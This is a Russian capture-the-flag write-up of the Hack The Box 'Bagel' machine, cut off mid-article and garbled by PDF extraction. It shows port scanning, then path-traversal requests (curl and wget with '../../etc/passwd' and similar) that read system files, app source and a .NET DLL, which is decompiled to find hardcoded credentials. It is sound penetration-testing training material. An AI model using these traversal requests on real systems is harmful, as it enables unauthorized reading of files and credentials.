p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
c |
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ ДЕСЕРИАЛИЗАЦИЮ JSON
В .NET
В этом райтапе я покажу, как реверсить библиоте ку .NET DLL, чтобы найти уяз вимость в ней. По пути проэкс плуатируем уязвимость LFI в веб сайте , а при повыше нии привиле гий задейству ем технику GTFOBins для приложе ния .NET, запущен
ного в Linux.
RalfHacker hackerralf8@gmail.com
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.201 bagel.htb
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляе т атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу е т в два этапа . На первом произво дит ся обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание , с использовани ем имеющих ся скриптов (опция -A).
Резуль та т работы скрипта
Нашли три открытых порта :
•22 — служба OpenSSH 8.8;
•5000 и 8000 — веб сервер Python 3.10.9.
На SSH делать нечего, поэтому сразу переходим к изучению веб сервера . Как показал отчет, на порте 8000 мы угадали имя домена — bagel.htb.
Главная страница http://bagel.htb:8000
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
|||||||
to |
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ ДЕСЕРИАЛИЗАЦИЮ JSON В .NET
ТОЧКА ВХОДА
Видим , что целевая страница передается в параметре page. В таком случае первым делом нужн о проверить возможность включения произволь ного фай ла путем обхода каталогов . Для теста пробуем прочитать файлы /etc/passwd
или /etc/hosts.
curl 'http://bagel.htb:8000/?page=../../../../etc/passwd'
Содер жимое файла /etc/passwd
Сразу же удалось прочитать файл!
Теперь возьмем на GitHub список важных и интерес ных файлов в Linux и переберем их с помощью Burp Intruder.
Burp Intruder — вкладка Positions
Burp Intruder — результа т перебора
Очень интерес ный файл — /proc/self/cmdline, который содержи т полную команду командной строки текущего процес са. Этот файл раскры вает нам путь к файлу с кодом скрипта . С помощью LFI скачива ем исходник, открываем
в любой среде разработ ки (я использу ю VSCode) и переходим к анализу .
wget 'http://bagel.htb:8000/?page=../../../../../../../home/
developer/app/app.py' -O app.py
|
|
|
Содер жимое |
файла app.py |
|
|
|
|
|||
|
|
|
|
|
|
||||||
Из кода выясняем |
, что мы можем |
|
подклю чить ся к веб сокету на пор |
||||||||
те 5000 и передать данные |
в формате |
JSON, которые потом будут обработа |
|
||||||||
ны методом json.loads. Из коммента |
рия узнаем о подклю чен ной DLL. |
|
|
||||||||
LFI |
|
|
|
|
|
|
|
|
|
|
|
Попробу |
ем перебрать |
командные |
строки для всех процес сов |
в системе |
, |
для чего с помощью Burp Intruder будем менять PID процес са.
Burp Intruder — вкладка Positions
Burp Intruder — вкладка Payloads
Чтобы получить командные строки в удобном виде для всех запросов , зададим параметр Grep — Extract. Тогда Burp будет извлекать командную строку из ответа сервера и выводить в отдельном столбике .
Burp Intruder — настрой ка Grep — Extract
Резуль та т перебора
В результате видим процесс dotnet, который в качестве параметра получает файл DLL, то есть библиоте ку , о которой мы знаем из коммента рия . Скачива ем найден ный DLL для дальнейше го анализа .
wget 'http://bagel.htb:8000/?page=../../../../../../../opt/bagel/bin/
Debug/net6.0/bagel.dll' -O bagel.dll
Так как это файл .NET, его можно декомпилиро вать . Для этого есть отличное средств о dnSpy. Открываем его, загружа ем скачан ный DLL и первым делом обращаем внимание на класс DB. В исходном коде этого класса находим учетные данные для подклю чения к базе данных .
Исходный код класса DB
Авторизо вать ся на SSH с этим паролем не вышло , поэтому проводим осно вательный анализ файла . Мы уже знаем , что программа работае т на пор те 5000 и принима е т данные в формате JSON, после чего выполняе т десери ализаци ю объекта и сериали заци ю (функция MessageReceived).
Исходный код класса Bagel
Из функции DeserializeObject узнаем , что в параметре принима емого JSON существу е т ключ Message.
Исходный код класса Handler
А из класса Orders узнаем о возможнос ти удаления , записи и чтения заявок.
Исходный код класса Orders
В классе Orders обратим внимание вот на эту функцию :
RemoveOrder {get; set;}
Продолжение статьи →